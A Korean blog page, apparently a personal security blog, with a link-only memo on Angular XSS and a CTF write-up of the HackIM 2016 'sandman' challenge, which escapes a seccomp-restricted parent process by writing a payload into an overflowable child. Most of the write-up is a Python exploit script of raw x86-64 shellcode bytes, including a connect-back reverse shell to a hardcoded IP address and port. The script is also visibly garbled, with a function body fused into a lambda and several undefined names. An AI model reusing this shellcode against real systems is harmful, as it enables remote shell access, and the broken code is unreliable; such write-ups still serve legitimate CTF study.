>

Angular XSS

Memo 2016. 3. 6. 19:51

http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

'Memo' 카테고리의 다른 글

Windows Exploit 관련 레퍼런스  (0) 2016.07.06
socat 바인딩 하기  (0) 2016.05.21
ubuntu에 pyCrypto 모듈 설치하기  (0) 2016.02.14
Ubuntu 에 apm 마련하기  (0) 2016.02.04
ubuntu 네트워크 설정  (0) 2015.11.10
Posted by Mungsul
,

[HackIM] sandman

CTF 2016. 3. 3. 23:58

 2월쯤엔가 BoB 사람들끼리 맺은 팀에서 HackIM이라는 대회를 나갔다. 대회 운영이나 문제 스타일이 썩 좋지는 않았지만 그 중에서도 괜찮은 Exploitation 문제가 있었다. 문득 생각이 나서 Write-up을 써본다.


 이 바이너리는 fork 함수를 이용해 자식프로세스를 생성한다. 자식프로세스 루틴은 나중에 확인하도록 하고 먼저 부모 프로세스 루틴을 볼 것이다.

 위 사진에서 볼 수 있듯이, seccomp를 써서 read, write, exit 이 세가지 system call만 허용시킨다. 그리고 Shellcode를 입력할 수 있는데, 별도로 할당한 rwx 메모리 공간에서 입력된 Shellcode를 실행시킨다.

자식 프로세스에서는 몇 가지 분기문을 거쳐서 오버플로우 취약점이 있는 루틴으로 갈 수 있다. 이쯤 되면 어떻게 Exploitation을 진행할 지 감이 올 것이다.

 자식 프로세스에다가 Payload를 전송하는 Shellcode를 작성하고 부모 프로세스에 입력을 시켜주면 입력된 Shellcode가 실행되어 자식 프로세스에 Payload가 작성되고 공격자가 원하는 코드를 실행시킬 수 있을 것이다.

 보통 부모 프로세스 fd가 3 자식 프로세스 fd가 4라고 알고 있을 것이다. 필자 또한 그랬는데, 대회를 할 당시 대회 서버에서는 자식 프로세스가 5였다. fd를 4로 설정한 로컬에서는 Shell 획득에 성공했다. 하지만 서버 fd가 5인 사실을 몰랐기에 어이없게 시간을 많이 잡아먹었다.

#!/usr/bin/python

from socket import *
from struct import pack,unpack
import telnetlib
import time

p = lambda x:pack("H",port)+"\xc7\x44\x24\x04"+chr(int(ip[0]))+chr(int(ip[1]))+chr(int(ip[2]))+chr(int(ip[3]))+"\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
	for i in range(len(shellcode)%8,8):
		shellcode = "\x90" + shellcode
	
	#print len(shellcode)
	rr = []
	for i in xrange(0,len(shellcode),8):
		rr.append("\x48\xbb" + shellcode[i:i+8] + "\x53")
	rr = rr[::-1]
	return "".join(rr)
	

s = create_connection((host,port))
payload = "\x90"*10


payload += "\x48\x89\xE6\x48\x83\xC6\x08\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC2\x08\x00\x00\x00\x0F\x05"

payload += "\x54\x48\x89\xE6\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC2\x08\x00\x00\x00\x0F\x05"

payload += "\x49\x89\xE0\x49\x81\xE8\xB0\x02\x00\x00"

payload += "\x6A\x0e\x48\x89\xE6\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x05\x00\x00\x00\x48\xC7\xC2\x01\x00\x00\x00\x0F\x05" # write(4,\x0e,1)

payload += "\x50\x48\x89\xE6\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x08\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05" # check

payload += "\x68\x80\x02\x00\x00\x48\x89\xE6\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x05\x00\x00\x00\x48\xC7\xC2\x04\x00\x00\x00\x0F\x05" # write(4,0x238,4)

payload += "\x50\x48\x89\xE6\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x08\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05" # check

payload += "\x41\x50\x48\x83\xC4\x01"

#payload += "\x48\xbb\xe2\xff\xff\xff\x00\x00\x00\x00\x53"

payload += "\x48\xbb\x40\x41\x42\x43\x44\x45\x46\x01\x53"

payload += "\x49\x81\xE0\xFF\x00\x00\x00\x4C\x89\xC1\x88\x4C\x24\x07"

payload += "\x48\xbb\x90\x90\x90\x90\x90\x90\x90\x90"
payload += "\x53"*29

payload += processing("52.79.44.210",31337)
payload += "\x48\xbb\x90\x90\x90\x90\x90\x90\x90\x90"
payload += "\x53"*23


payload += "\x48\xBB\x68\x74\x74\x70\x3A\x2F\x2F\x90\x53"
payload += "\x48\x89\xE6\x48\xC7\xC7\x05\x00\x00\x00\x48\xC7\xC2\x80\x02\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"

payload += "\x50\x48\x89\xE6\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x08\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05" # check

#payload += "\x48\x89\xE6\x48\xC7\xC7\x04\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC2\x76\x00\x00\x00\x0F\x05" # write(4, shellcode ,0x76)

#payload += "\x48\x31\xC0\x48\xC7\xC6\xD0\x20\x60\x00\x48\xC7\xC7\x00\x00\x00\x00\x48\xC7\xC2\x76\x00\x00\x00\x0F\x05" # read(3,bss,0x76)

size = len(payload)
print size
time.sleep(0.5)
s.send(p(size))
#raw_input()
time.sleep(0.5)
s.send(payload)

#print s.recv(1024)
time.sleep(0.5)
leak = u_p64(s.recv(8))
leak2 = u_p64(s.recv(8))
check1 = u_p64(s.recv(8))
check2 = u_p64(s.recv(8))
check3 = u_p64(s.recv(8))


print "leak : ",hex(leak)
print "return1 : ",hex(check1)
print "leak2 : ",hex(leak2)
print "return2 : ",hex(check2)
print "return3 : ",hex(check3)

t = telnetlib.Telnet(host,port)
t.sock = s
t.interact()




'CTF' 카테고리의 다른 글

[TMCTF 2016] Analysis Defensive 200  (0) 2016.08.01
[codegate2016] bugbug  (2) 2016.03.19
[hitcon2015] blinkroot  (0) 2015.10.20
[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
Posted by Mungsul
,

[pwnable.kr] crypto1

2016. 2. 20. 22:10

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.